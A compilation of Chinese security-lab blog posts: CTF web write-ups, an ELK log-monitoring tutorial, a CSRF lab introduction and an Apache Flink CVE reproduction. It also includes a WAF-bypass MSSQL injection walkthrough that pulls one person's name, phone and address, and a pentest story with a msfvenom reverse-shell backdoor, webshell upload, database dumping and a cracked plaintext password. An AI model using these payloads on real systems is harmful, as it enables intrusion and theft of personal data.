CTF-Web拿到key的小技巧
本关实验地址为:&
预备知识
HTTP协议,报文的组成部分等,请参考https://yijinglab.com/expc.do?ec=ECID172.19.104.182015121711544400001<>以及简单的js脚本编写能力。
打开服务器上的网页然后看到进入第一关的按钮,点一下。
跳到第一关,只有一些文字,那么我们不多BB,直接查看源代码。
源代码中有个注释,要删除1.php.bak,我们直接在地址栏中输入试试。
然后来到了这个页面,和第一关的页面差不多,但是多了一些奇怪的符号,还是看一下源代码吧。
源代码中给出了第二关的地址,直接访问。
进入到第二关后,出来一个输入框和按钮,然后提示点击进入第三关,那么我们点一下
出现了诡异的提示,我们注意到第三关的页面是3rd.php。点击提示的确定后,又退回到第二关了。
此事必有蹊跷。特别是这个输入框,能让我有插它的冲动,写个alert看看能不能xss。
<script>alert(1)</script>
竟然弹框了,好激动好兴奋的样子。
那么我们构造一个a标签来戳进去。<a href="3rd.php"></a>
发现不行,构造出的连接闪一下就没了。
那么我们用【某种方式】重定向吧。
<script>window.location="3rd.php"</script>
成功绕过验证,点击就能进入下一关了。
这和前面也差不多,就是只有一些文字。查看源代码也没有收获,那我们看看能否从文字中获得关键信息
既然说是在眼皮底下,那我们就看看眼皮吧,查看一下HTTP原始请求包和返回包,发现在返回的报文中有个Next字段,提供了下一关的页面。
那么按照提示,点完按钮就结束了吧。
可是鼠标放到按钮上,按钮就不见了。
我们使用审查元素看一下,原来使用了display:none,将其改为display:block按钮就出来了。
但是鼠标悬停还是没有了,看一下上面的joy脚本,原来就是这个脚本隐藏了按钮。
那么我们删除这个按钮的onmouseover="joy()",果然出现
点击按钮,找到key。
CTF-小游戏解密俄罗斯方块
本次实验操作地址:&
进入实验环境,打开题目地址,发现是个俄罗斯方块的游戏,尝试先玩了几局,但是并没有什么用,玩游戏就能获得flag?感觉不太靠谱,看看有没有别的思路。
我们先分析这个游戏服务,这是一个web的游戏,那么我们在浏览器的开发者工具中,对网络请求进行分析,发现我们对目标进行访问时,并没有实质性的后台请求:
所以基本可以断定,这是一个前台页面的游戏,游戏的运行、计分都是由js脚本来支持的,所以我们找到了请求中仅有的js页面代码:
这个js混淆过,所以需要先美化,也就是js代码的格式化。经过分析,会发现,当游戏分数达到既定的条件时,js代码会在页面的头部中添加urlkey字段,值为“webqwer”[1]+“100.js”,即为“webqwer”的第2个字母与“100.js”拼接为“e100.js”。
也是一个js文件,我们尝试直接访问,可以下图下图所示的内容,这是jsfuck编码:
jsfuck编码是可以直接在控制台运行的,我们复制粘贴到控制台,但是我们直接可以用google浏览器,f12打开开发者工具,然后将编码粘贴到console中,内容过多,环境可能卡顿,耐心等待:
粘贴完成之后,回车就可运行,页面就会弹出flag:
最后填写一下答案,完成。
记一次面试bypass宝塔+安全狗的手注
前言
最近在准备找工作,有一家公司给我发来了这样一条消息,于是有了这篇文章.
本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015060916565800001 (本实验以PHP和mysql为环境,简单展示了SQL的发生原理和利用过程,通过显错注入和盲注的对比,更直观展现注入的不同利用方法。)
因本文是bypass成功后,才写的可能会缺少一些图.(耗费本菜鸡半天时间,因为之前都是mysql搞的多,还有就是sqlmap一把梭.差点把传统手艺都丢了.)
大意了,没有闪
拿到目标后,我就迫不及待的直接打开
打开地址一看是报错的,我还以为任务是需要通过信息收集拿到shell,最后再拿数据.我还在想开局就送个信息泄漏?
最后折腾一番之后发现没什么突破口.回来再看之前的地址发现又能访问了.
大意了,没有闪
最后看到界面是这样的(能打开完全靠运气,特别是在晚上)
看到这个界面后,我就知道,原来是想测老夫的sql注入? 我当时心想不会用sqlmap一把梭就进去了吧!
注入点识别
随即我就先用'试试注入点
/1.aspx?id=1%27
继续试试and 1=1
/1.aspx?id=1%20%27and%201=1
好小子,居然有狗小小的一条就能难到我?打开burp,开始手注
bypass宝塔+安全狗
直接把请求改为post,试试垃圾数据填充能不能bypass
生成垃圾数据
好小子,还有个宝塔waf,看来垃圾数据填充已经不好用了
再试试分块传输bypass
还是一样(对分块传输没什么研究,和一些数据库特性结合应该还是可以用的,不是本文的重点)
接下来,开始fuzz
试试不带select
发现可以,继续试试,user和db_name()
这说明宝塔和狗都是对select 后面跟值进行拦截
我们继续试试联合查询union
不出所料还是一样,这两兄弟好搭档啊,换着来.由于本文重点是在学习手注入和bypass下面开始bypass,我这边打算写个payload混淆工具bypass
在写工具前我们得知道bypass的常用手法有哪些吧?
我这边大概整理了有如下几种
利用服务器特性
利用数据库特性
利用WAF特性
所以为了更好的bypass,我们就得了解对这些特性有一定的了解,因为我的当前目标是iis+aspx,那我们就得了解一下iis和mssql特性来进行bypass
iis特性
下面摘自 bypass大佬的waf攻防实战笔记
1、%特性(ASP+IIS)
在asp+iis的环境中存在一个特性,就是特殊符号%,在该环境下当们我输入s%elect的时候,在WAF层可能解析出来
的结果就是s%elect,但是在iis+asp的环境的时候,解析出来的结果为select。
Ps.此处猜测可能是iis下asp.dll解析时候的问题,aspx+iis的环境就没有这个特性。
2、%u特性(asp+iis和aspx+iis)
Iis服务器支持对于unicode的解析,例如我们对于select中的字符进行unicode编码,可以得到如下的
s%u006c%u0006ect ,这种字符在IIS接收到之后会被转换为select,但是对于WAF层,可能接收到的内容还是
s%u006c%u0006ect,这样就会形成bypass的可能。
3、另类%u特性(ASP+IIS)
该漏洞主要利用的是unicode在iis解析之后会被转换成multibyte,但是转换的过程中可能出现: 多个widechar会有
可能转换为同一个字符。 打个比方就是譬如select中的e对应的unicode为%u0065,但是%u00f0同样会被转换成为e。s%u0065lect->select s%u00f0lect->selectWAF层可能能识别s%u0065lect的形式,但是很有可能识别不了s%u00f0lect的形式。这样就可以利用起来做WAF的绕过。常见三个关键字(union+select+from)的测试情况:
s%u0045lect = s%u0065lect = %u00f0lectu --> %u0055 --> %u0075n -->%u004e --> %u006ei -->%u0049 --> %u0069o -->%u004f --> %u006f -->%u00bas -->%u0053 --> %u0073l -->%u004c --> %u006ce -->%u0045 --> %u0065-->%u00f0c -->%u0043 --> %u0063t -->%u0054 -->%u0074 -->%u00de -->%u00fef -->%u0046 -->%u0066r --
mssql特性
空白字符
Mssql可以利用的空白字符有(需要在字符前面加%):
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
注释符
注释符可以用来代替空格,或者和--配合使用,--也可以配合%0a(注释加换行)
/**/--/**anything*/
特殊数值
一般用在注入点上
如1.1或者1E0这些
运算符
下面摘自 404大佬的MSSQL_SQL_BYPASS_WIKI
+ 加法运算- 减法运算* 乘法运算/ 除法运算,如果两个表达式值都是整数,那么结果只取整数值,小数值将略去% 取模运算,返回两数相除后的余数 & 位与逻辑运算,从两个表达式中取对应的位。当且仅当输入表达式中两个位的值都为1时,结果中的位才被设置为1,否则,结果中的位被设置为0| 位或逻辑运算,从两个表达式中取对应的位。如果输入表达式中两个位只要有一个的值为1时,结果的位就被设置为1,只有当两个位的值都为0时,结果中的位才被设置为0^ 位异或运算,从两个表达式中取对应的位。如果输入表达式中两个位只有一个的值为1时,结果中的位就被设置为1;只有当两个位的值都为0或
当我们了解完这些特性之后,直接开干,随即就打开了老夫的pycharm
下面直接省略测试过程的图片,大家可以手工测也可以用intruder来跑.fuzz是个漫长的过程,我这里只可以大家提供思路
先把空白字符和注释定义出来(经测试发现+也有同等效果)
1.先把所有的空格都用注释替换
2.对and和where进行处理,在它们前后随机加空白符,用来混淆这两个关键字
3.利用iis特性对下面这几个关键字某个字符用unicode编码替换
4.对下面这几个符合进行处理,
1.在某些函数会被拦截用+()来bypass
2.查询某某库的某某表如admin.user会被拦截,用+.来bypass
5.最后拓展下payload接收.最终代码如下
import random def bypass(payload): chars1 = ['%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0A', '%0B', '%0C', '%0D', '%0E', '%0F', '%10', '%11','%12', '%13', '%14', '%15', '%16', '%17', '%18', '%19', '%1A', '%1B', '%1C', '%1D', '%1E', '%1F', '%20']
已经打包上传github
地址:https://github.com/safe6Sec/bypassWAF
然后就可以愉快的手注了
mssql手注
从前期的来看,该注入点支持union注入和报错注入.我这边采用报错注入.
用union注入需要知道当前表有几列(和mysql一样用order by判断),还需要回显点
用报错注入主要是用top命令配合not in来进行注入
爆库(mssql默认有四个库,我们需要加个条件,dbid>4)
and (SELECT top 1 Name FROM Master..SysDatabases where dbid>4)>0
这样只是爆出第一个库,爆别的还需用not in来配合排除已知的表
用union联合查询结果如下(列数量要和当前表一致,没有的列用null占位)
union SELECT null,null,null,Name,null,null,null,null FROM Master..SysDatabases
从上面的数据可以看出,只有一个数据库
继续爆表
and (select top 1 name from a999.sys.all_objects where type='U' AND is_ms_shipped=0)>0
第一张表为a999,用not in排除这张表继续爆其他的
and (select top 1 name from a999.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('a999'))>0
以此内推
最后得了下面这些表
'dtproperties','a999','wap_album','wap_albumre','admin','wap_bankLog','wap_bbs','wap_bbs_MarkSix','wap_bbs_MarkSix_bet','D99_CMD','temp','wap_background'
直觉告诉我数据很有可能是在a999(从名字上判断)
直接爆字段,和爆表一样的操作
and 1=(select top 1 name from syscolumns whereid=(select id from sysobjects where name = 'a999') )
得到了这些字段
'id','siteid','airplaneid','airplanename','userid','username','num','tel','address','starttime','content','remark','addtime','state'
他们要的数据是:序号10的 那栏信息。包含 名字 电话 地址
开始跑数据
and 1=(select top 1 username from a999 where id=10)
然后继续把剩下的电话地址跑出来,上交收工.
fuzz真是挺废时间了,本文是在bypass成功后所写.过程耗费太多时间没截图,思路都告诉大家了.结合起来用即可.
或者会有大佬想说为什么不,写个tamper来跑,
最后感谢404和bypass大佬的文章,小弟受益良多.
总结
不要光说不做,实操才是真理
对waf的bypass也就那样,把规则搞清楚了就很简单,免杀也如此
union注入比报错注入香多了
威胁狩猎:基于ELK的日志监控
https://www.yijinglab.com/expc.do?ec=5e8b5d22-88eb-4061-a07f-80bd791f0b8d (通过本实验的学习,你能够了解主机安全软件监控原理,学会如何利用主机安全软件狙剑监控可疑进程,学会如何利用狙剑软件对本机进行注册表和文件的管理。)
0x、概述!
ELK Stack即以前的Elastic Stack,Elk Stack是Elastic公司专门为集中化日志管理设计的免费开源软件组合。它允许搜索、分析和可视化来自不同来源的日志。
如在ubuntu上安装配置ELK Stack,需要如下先决条件:
Ubuntu 20.04
最好使用Root 权限进行配置
0x1 内容目录
ELK Stack 组成部分
安装 Java 和所有依赖项
安装和配置 Elasticsearch
安装和配置 Logstash
安装和配置 Kibana
安装和配置 Nginx
安装和配置 Filebeat
配置 Linux 日志到 Elasticsearch
在Kibana中创建日志仪表板
监控 SSH 事件
0x2 ELK Stack 组成
1、Elasticsearch:Elasticsearch是一个基于Apache Lucene(TM)的开源搜索引擎,使用RESTful API,可以存储、检索数据。
2、Logstash:Logstash是一个开源的数据收集引擎,可以采集不同数据源的数据发送给Elasticsearch
3、Kibana:用于分析和可视化日志的 Web可视化平台
4、Filebeat:轻量级的日志收集和转发器,可以把数据收集后转发到Logstash或Elasticsearch
0x3 安装 Java 和所有依赖项
Elasticsearch是Java编写的程序,所以需要安装JDK,可以使用如下命令安装OpenJDK和其他一些所需的软件包。
sudo apt install -y openjdk-14-jdk wget apt-transport-https curl
然后导入Elasticsearch的公钥,添加apt软件源
wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -
添加软件源
0x4 安装和配置Elasticsearch
更新软件源
sudo apt update
然后安装(国内安装比较慢,请耐心等待)
sudo apt-get install elasticsearch
安装完后,开始配置Elasticsearch
Elasticsearh默认监听9200端口。为了安全,需要设置一下限制外网访问。使外部网络无法通过REST API访问数据和elastic集群。Elasticsearch的配置文件是elasticsearch.yml。修改它就行。
打开配置文件
sudo gedit /etc/elasticsearch/elasticsearch.yml
找到监听接口和端口进行修改
删掉前面的注释符号#改成如下的样子:
保存,然后启动Elasticsearch服务
sudo systemctl start elasticsearch
查看服务状态和验证是否已经启动
sudo systemctl status elasticsearch
curl -X GET localhost:9200
看到这个,就说明Elasticsearch启动成功了。
你也可以在浏览器里面访问https://localhost:9200查看
0x5 安装和配置Logstash
首先确保系统里面有openssl,然后安装Logstash
openssl version -a sudo apt install logstash -y
创建一个SSL证书用于保证Rsyslog 和Filebeat传输数据给Logstash时的安全性。
在Logstash的配置文件目录下创建一个ssl的目录,然后生成证书
sudo mkdir -p /etc/logstash/ssl cd /etc/logstash sudo openssl req -subj '/CN=elkmaster/' -x509 -days 3650 -batch -nodes -newkey rsa:2048 -keyout ssl/logstash-forwarder.key -out ssl/logstash-forwarder.crt
为了方便后续配置,我们可以修改一下/etc/hosts文件。把主机的ip配置一个主机名
然后我们需要配置三个文件,分别是用于从filebeat接收数据的filebeat-input.conf,用于过滤系统日志的过滤器配置文件syslog-filter.conf,以及用于输出数据到elasticsearch的output-elasticsearch.conf。
在logstash配置目录创建filebeat-input.conf文件
cd /etc/logstash/ sudo gedit conf.d/filebeat-input.conf
添加如下内容:
input { beats { port => 5443 type => syslog ssl => true ssl_certificate => "/etc/logstash/ssl/logstash-forwarder.crt" ssl_key => "/etc/logstash/ssl/logstash-forwarder.key" } }
然后创建过滤器配置文件syslog-filter.conf并采用grok过滤器,这个的作用就是让Logstash根据给出的规则提取数据。
sudo gedit conf.d/syslog-filter.conf
输入如下内容:
filter { if [type] == "syslog" { grok { match => { "message" => "%{SYSLOGTIMESTAMP:syslog_timestamp} %{SYSLOGHOST:syslog_hostname} %{DATA:syslog_program}(?:\[%{POSINT:syslog_pid}\])?: %{GREEDYDATA:syslog_message}" } add_field => [ "received_at", "%{@timestamp}" ] add_field => [ "received_from", "%{h
然后创建一个output-elasticsearch.conf配置文件用于将数据传输给elasticsearch。
sudo gedit conf.d/output-elasticsearch.conf
内容如下:
output { elasticsearch { hosts => ["localhost:9200"] hosts => "localhost:9200" manage_template => false index => "%{[@metadata][beat]}-%{+YYYY.MM.dd}" document_type => "%{[@metadata][type]}" } }
配置文件弄好之后,启动logstash服务看是否正常。
sudo systemctl start logstash sudo systemctl status logstash
没有报错,说明服务正常启动了。
0x6 安装和配置Kibana
安装Kibana也是通过apt即可完成
sudo apt install kibana
安装完成之后,我们设置一下kibana的配置文件
sudo gedit /etc/kibana/kibana.yml
主要是修改监听端口和地址,以及elasticsearch的地址
保存,然后启动kibana服务
然后你可以直接在浏览器中访问它
0x7 安装和配置Nginx
安装这个主要是给Kibana做反向代理的。
首先安装Nginx和Apache2-utlis
sudo apt install nginx apache2-utils -y
安装完成之后,创建kibana虚拟主机配置文件
sudo gedit /etc/nginx/sites-available/kibana
内容如下:
server { listen 80; server_name localhost; auth_basic "Restricted Access"; auth_basic_user_file /etc/nginx/.kibana-user; location / { proxy_pass https://localhost:5601; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection 'upgrade'; proxy_set_header Host $host;
给配置文件创建一个连接
sudo ln -s /etc/nginx/sites-available/kibana /etc/nginx/sites-enabled/
然后给访问Kibana Dashboard配置一个基础身份认证
sudo htpasswd -c /etc/nginx/.kibana-user elastic
然后测试Nginx配置文件并启动服务
sudo nginx -t sudo systemctl restart nginx
0x8 安装和配置Filebeat
下载filebeat然后安装
下载地址:https://www.elastic.co/cn/downloads/beats/filebeat
可以按照自己的需求进行下载
我们这里是安装在Ubuntu上,所以选择DEB版本下载。当然也可以直接用apt安装,前提是你在之前添加了Elastic的软件源。可以看官方指南进行添加软件源:https://www.elastic.co/guide/en/beats/filebeat/7.10/setup-repositories.html#_apt
sudo apt install filebeat -y
然后编辑filebeat的配置,配置文件的路径:
/etc/filebeat/filebeat.yml
首先把input部分改为true
然后修改Elasticsearch output部分
修改成如下配置:(根据你的实际情况进行设置)
修改Kibana配置部分:
修改完后保存。
然后初始化filebeat
sudo filebeat setup
复制之前生成的logstash-forwarder.crt证书到/etc/filebeat目录中
sudo cp /etc/logstash/ssl/logstash-forwarder.crt /etc/filebeat/
然后启动filebeat服务
sudo systemctl start filebeat
0x9 配置 Linux 日志到 Elasticsearch
配置rsyslog到Logstash,然后这些日志会自动传输到Elasticsearch
在配置日志到Logstash之前,我们首先需要配置Logstash到Elasticsearch之间的日志转发。
在/etc/logstash/conf.d目录下创建一个配置文件来设置到Elasticsearch之间的日志转发。
cd /etc/logstash/conf.d/ sudo gedit logstash.conf
配置文件的内容如下:
input { udp { host => "127.0.0.1" port => 10514 codec => "json" type => "rsyslog" } } # The Filter pipeline stays empty here, no formatting is done. filter { } # Eve
配置文件主要由三部分组成,input部分:定义日志从哪儿来,filter部分:日志过滤器,output部分:日志传输到什么地址。
然后我们重启一下logstash服务
sudo systemctl restart logstash
然后配置从rsyslog到Logstash日志转发,rsyslog可以使用模板转换日志然后进行转发。
为了让 rsyslog 转发日志,需要在/etc/rsylog.d目录中创建一个70-output.conf的配置文件。
cd /etc/rsyslog.d/ sudo gedit 70-output.conf
添加如下内容:
*.* @127.0.0.1:10514;json-template
意思是所有日志发送到127.0.0.1:10514并使用json格式的模板进行转换
我们需要创建一个json格式的模板文件
sudo gedit 01-json-template.conf
内容如下:
template(name="json-template" type="list") { constant(value="{") constant(value="\"@timestamp\":\"") property(name="timereported" dateFormat="rfc3339") constant(value="\",\"@version\":\"1") constant(value="\",\"message\":\"") property(name="msg" format="json") c
然后启动rsyslog服务
sudo systemctl start rsyslog
检查logstash监听端口是否正常:
ss -na | grep 10514
如果监听没成功,并且在日志中看到以下报错信息:
是因为配置文件里面存在语法错误,ELK软件对配置文件的语法要求比较严格,请仔细检查。
0x10 在Kibana中创建日志仪表板
在浏览器中打开Kibana界面
首先需要创建一个索引模式
然后找到Stack Management---Kibana中的Index Patterns
然后点击Create index pattern
输入logstash-*,然后点击Next step
然后时间过滤器我们选择@timestamp
然后点击Create index pattern
添加成功后是这样的:
点击回到Kibana的Discover中,在这里可以查询搜索你的数据
0x11 监控 SSH 事件
在过滤条件中,我们设置过滤条件为programename:sshd*
这样就可以看到sshd程序相关事件了。
0x12 更多参考资料
配置 SSL、TLS 以及 HTTPS 来确保 Elasticsearch、Kibana、Beats 和 Logstash 的安全 | Elastic Blog https://www.elastic.co/cn/blog/configuring-ssl-tls-and-https-to-secure-elasticsearch-kibana-beats-and-logstash
如何使用 Elastic Stack 监测 Nginx Web 服务器 | Elastic Blog https://www.elastic.co/cn/blog/how-to-monitor-nginx-web-servers-with-the-elastic-stack
简单的CTF-从JS中获取flag
本文是一篇从蚁景网安实验室进行实验操作的笔记,一次非常简单地从JS中获取到flag的操作。
实验地址:https://www.yijinglab.com/expc.do?w=exp_ass&ec=ECID9d6c0ca797abec2016092313300000001&
1. 进入题目页(10.1.1.219:20123)看到一段话,还有一句很明显的提示语句“The evil url is the passkey”,翻译出来就是损坏的url就是flag。下面的英文有兴趣的也可以解读一下,对于解题没什么用,别问我怎么知道的。
页面没什么其他有用的信息了,我们直接看一下源码,看有没有什么发现。在页面源代码中发现了一段可疑的js代码
对代码进行解读,可以知道,这段代码的功能是对页面写入内容,这个内容由变量P表示,P的内容是多个ascii码,我们可以自己翻译,看这些ascii码的内容是什么,也可以直接在浏览器的console中进行运行,得到新的页面。
打开浏览器,访问题目页面,按f12打开开发者工具,我们将js代码粘贴到console中,回车进行运行,发现运行错误,这应该就是损坏的,将中间的空行等处理一下之后运行发现获得了一个新的页面。
然后会发现页面变成了空白,但是还是有一点不引人注意的地方:
翻看页面源代码,发现了一个隐藏的php页面:
我们访问这个php页面,发现有一个变量名为flag:
但是查看页面源代码中,并没有flag的内容,查看请求头部时,发现cookie中存在flag
接下来把这个flag提交到实验的答题中,这个实验就完成了,也是一次非常简单的获取flag。
Web安全-CSRF攻击实验
本实验以PHP和Mysql为环境,展示了CSRF攻击的原理和攻击过程。通过实验结果结合对攻击代码的分析,可更直观清晰地认识到Web安全里这种常见的攻击方式。
实验地址:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015070816562700001
实验简介
实验所属系列:web攻防
实验对象:本科/专科信息安全专业
实验类别:实践实验类
预备知识
一、浏览器有关Cookie的设计缺陷
当前主流的Web应用都是采用Cookie方式来保存会话状态,但是浏览器在引入Cookie时却忽视了一项非常重要的安全因素,即从WEB页面产生的文件请求都会带上COOKIE。只要请求域与Cookie信息所指定的域相一致,无论是访问Web页面,还是请求图片,文本等资源,用户在发出请求时都会带上Cookie。下图抓包展示了我们在访问百度主页时所附带发送的Cookie信息。
Cookie的这一特性使得用户始终以登录的身份访问网站提供了便利,但同时,也方便了攻击者盗用身份信息执行恶意行为。
二、什么是CSRF
CSRF(Cross-site request forgery)跨站请求伪造,也被称为“one click attack”或者session riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。CSRF通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
用户登录并访问了一正常网站,登录成功后,网站返回用户的身份标识Cookie给用户。当用户访问到恶意网站时,恶意网站强制用户去向正常网站发送恶意请求。由于用户此时拥有正常网站的Cookie,所以就相当于攻击者盗用了用户身份,去访问了正常(目标)网站。
一次完整的CSRF攻击,需要受害用户需要完成两个步骤:
1.登录正常网站,并在本地生成Cookie。
2.在不退出正常网站的情况下,访问恶意网站。
三、HTTP GET和POST请求区别解析
URL全称是资源描述符,我们可以这样认为:一个URL地址,它用于描述一个网络上的资源,而HTTP中的GET,POST,PUT,DELETE就对应着对这个资源的查,改,增,删4个操作。GET一般用于获取/查询资源信息,而POST一般用于更新资源信息。
Get 方法通过 URL 请求来传递用户的数据,将表单内各字段名称与其内容,以成对的字符串连接,置于URL 后,如
http://www.xxx.com/index.php?username=liming&password=123456&数据都会直接显示在 URL 上,就像用户点击一个链接一样。
Post 方法通过 HTTP Post 机制,将表单内各字段名称与其内容放置在 HTML 表头(header)内一起传送给服务器端。
GET与POST方法实例:
GET /127.0.0.1?username=liming&password=123456 HTTP/1.1
Host: http://www.xxx.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6)
Gecko/20050225 Firefox/1.0.1
Connection: Keep-Alive
POST / HTTP/1.1
Host: http://www.xxx.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6)
Gecko/20050225 Firefox/1.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Connection: Keep-Alive
(----此处空一行----)
username=liming&password=123456
实验目的
1)了解Cookie在设计方面存在的缺陷
2)掌握CSRF攻击的原理
3)掌握Get和Post形式CSRF攻击脚本的写法
实验环境
两台Windows XP机器(分别安装有XAMPP集成部署环境),两台机器网络连通
一台机器部署正常网站(留言板)10.1.1.189
一台机器部署恶意网站 10.1.1.23
部署正常网站的主机环境中有Chrome浏览器(或其他方便抓包分析的浏览器或工具)
从弱口令到拿下站群服务器
声明:本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。
本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=ECIDfaf3-05da-4d49-9e11-72953b14f22c (通过DoraBox靶场系列闯关练习,了解文件上传漏洞的基础知识及如何进行绕过上传恶意文件。)
一、
前两天我一个朋友给我发来一个链接,说他做的站准备上线,问我能不能做下测试,既然是朋友,那肯定义不容辞,准备开始搞事情。
二、
1、先打开网站浏览一下,发现直接跳转到了登录页面,如下:
简单了尝试了下弱口令、万能密码和登录框xss,发现输入框对输入内容做了严格的过滤,非法字符一概不允许,果断放弃。
2、简单扫描了一下敏感目录,发现一个/adminx,果然这种开放注册的站都会给管理员提供一个专门的登录入口
(忽略这个 1.zip,那是我打包整站时留下的
尝试爆破,弱口令一波带走,进入后台,赶紧把喜讯报告给朋友,让他“惊喜”一下
3、寻找上传点
进到后台之后寻找上传点,发现系统设置处有修改站点logo的功能,先传个php小马试试水
我当场就惊了,你后台登录框过滤那么严格结果你这上传点就这就这??好歹做个本地校验啊,你让burpsuite面子往哪搁?
4、连接shell尝试提权
传了马之后使用蚁剑连接,首先就是查看服务器信息,这里有个小插曲,打开虚拟终端之后无论执行什么命令,返回结果都是 ret=127
应该是服务器上有什么安全软件做了过滤,使用蚁剑自带的插件进行bypass
成功绕过
不过蚁剑的这个绕过连接不太稳定,而且速度也很慢,于是琢磨着建立一个meterpreter会话尝试提权。
5、建立meterpreter 会话
在云服务器上使用msfvenom 生成一个后门:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=服务器ip LPORT=监听端口 -f elf > shell.elf
然后在服务器设置一个监听会话:
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 服务器ip
set LPORT 监听端口
run
在服务器上使用python建立一个简单的http服务:
python3 -m http.server
在目标主机使用wget下载后门文件并执行,成功获取meterpreter 会话
6、尝试提权受阻
由于目标服务器运行的是 CentOS 8.0,内核版本为 Linux 4.18.0,且我获取到的仅为一个低权限的shell,想要实现提权是很难的,在明知肯定失败的情况下我还是尝试了脏牛等所有的我手上能用的提权exp,均宣告失败,也是意料之中的事。
7、柳暗花明又一村
提权无果之后,我开始翻动服务器上的各种文件,然后发现了不得了的线索,乖乖这是个站群啊
然后我从每个站的配置文件中都得到了他们对应的数据库以及数据库账号密码,看样子应该是随机生成的,不像是会用作root用户密码的通用密码,如下图:
于是我上传了一个脱裤马,获取到了所有的数据库sql文件,尝试访问所有的数据,以寻求一个可能的通用密码,没想到还真让我找到了,在几个采集站和发卡站的库中,我找到了如下相同的md5值:
md5解密后结果为:vip886.A
尝试ssh连接服务器,成功
至此渗透结束。
8、总结
此次渗透没什么技术含量,但是足以显示出弱口令以及通用密码对于安全的危害有多大,另外上传功能的处理也是很重要的,一丁点防护都没有的上传点我是真头一回见。
漏洞报告已经交给我朋友啦,没想到还有小钱钱拿,开心。
找到一个可利用的SQL注入
渗透测试是非常有创意而且有挑战的事,既需要一些基础知识的积累,也需要一些创意和Hacker思考方式,只要你对网络安全技术充满了兴趣,甚至可以从0基础学习。
我该如何入手学习?
了解渗透测试的体系轮廓是第一步,从全景上认识这门技术,所谓全景,就是在埋头苦学之前,先搞清楚整个知识体系的框架结构。否则如盲人摸象,连门在哪都不知道,自然无法入门。一般的学习路径是:了解轮廓——工具+靶机——专项漏洞训练——开发工具、加强实战。
工具哪里找?
在一个实用的工具包里尽可能多的包含渗透和审计工具。Kali 实现了这个目标,大多数做安全测试的开源工具都被囊括在内。
它包含数百种渗透测试工具
免费使用
多语言
专项漏洞训练-SQL注入:
1.寻求更好的防御操作,
2.突破sql注入难点,
3.为数据库安全保驾护航。
专项漏洞训练-文件上传:
目前为止文件上传漏洞还是存在的,在进行一般的渗透测试中,找到上传点后绕过上传限制,将恶意脚本文件上传之后进行控制,拿下Webshell。
送给大家几句话:
想要了解某个技术,请阅读一些相关文档;
想要明白某个技术,请尝试实践这些技术;
想要悟透某个技术,请尝试向他人讲解此技术。
课程安排:
1月18日15:00 Vm安装Kali环境
1月19日15:00 Sql注入
1月20日20:00 文件上传
Apache Flink漏洞复现
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/mobile/actReg.html>>
简介
Apache Flink 是高效和分布式的通用数据处理平台,由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎(简单来说,就是跟spark类似)。Flink 具有监控 API,可用于查询"正在运行的jobs" 和 "最近完成的jobs" 的状态和统计信息。该监控 API 被用于 Flink 自己的dashboard,同时也可用于自定义监控工具,默认监听在8081端口。
本文涉及知识点实操练习:https://www.yijinglab.com/cour.do?w=1&c=C172.19.104.182015010409302300001 (“网络安全事件”这门课程是由一些影响比较大的安全事件所模拟的测试环境组成。此课程不仅会添加以往的安全事件,而且还会紧跟时事,去添加最新的安全事件。让大家在第一时间了解,并懂得怎么去保护自身安全为目的。)
该监控 API 是 REST-ful API, 即接受 HTTP请求,并响应JSON格式的数据。
监控 API 中有一个API是 /jars/upload,其作用是将一个jar上传到集群。该jar必须作为多部分数据发送。确保“ Content-Type”标头设置为“ application / x-java-archive”,因为某些http库默认情况下不添加标头。可以通过curl上传jar文件
'curl -X POST -H "Expect:" -F "jarfile=@path/to/flink-job.jar" http://hostname:port/jars/upload'
概述
Flink 1.5.1引入了REST API,但其实现上存在多处缺陷,导致任意文件读取(CVE-2020-17519)和任意文件写入(CVE-2020-17518)漏洞。
CVE-2020-17518攻击者利用REST API,可以修改HTTP头,将上传的文件写入到本地文件系统上的任意位置(Flink 1.5.1进程能访问到的)。
CVE-2020-17519Apache Flink 1.11.0 允许攻击者通过JobManager进程的REST API读取JobManager本地文件系统上的任何文件(JobManager进程能访问到的)。
影响版本
CVE-2020-17518
Apache:Apache Flink: 1.5.1 - 1.11.2
CVE-2020-17519
Apache:Apache Flink: 1.11.0, 1.11.1, 1.11.2
环境搭建
因为受到两个漏洞影响的版本都包含了1.11.2,所以统一使用这个版本进行复现
此处利用vulhub的环境进行复现,新建docker-compose.yml
version: '2'
services:
flink:
image: vulhub/flink:1.11.2
command: jobmanager
ports:
- "8081:8081"
- "6123:6123"
使用docker-compose启动该环境,执行以下命令会下载镜像并以此镜像启动一个容器,映射的端口为8081和6123
docker-compose up -d
访问http://ip:8081
漏洞复现
任意文件上传(CVE-2020-17518)复现:
Apache Flink 1.5.1引入了REST处理程序,该处理程序允许通过经过恶意修改的HTTP HEADER将上传的文件写入本地文件系统上的任意位置。
访问http://ip:8081,找到Submit New Job的Add New上传一个jar包,jar包可以在桌面新建一个压缩文件,将zip后缀修改为jar即可,然后抓包
抓到的请求包如下:
将请求包发送到repeater模块进行修改,比如我这里是在/tmp目录下新建一个文件,../是为了方便切换路径,因为我们不知到当前的路径是什么,所以可以使用../切换到根目录。
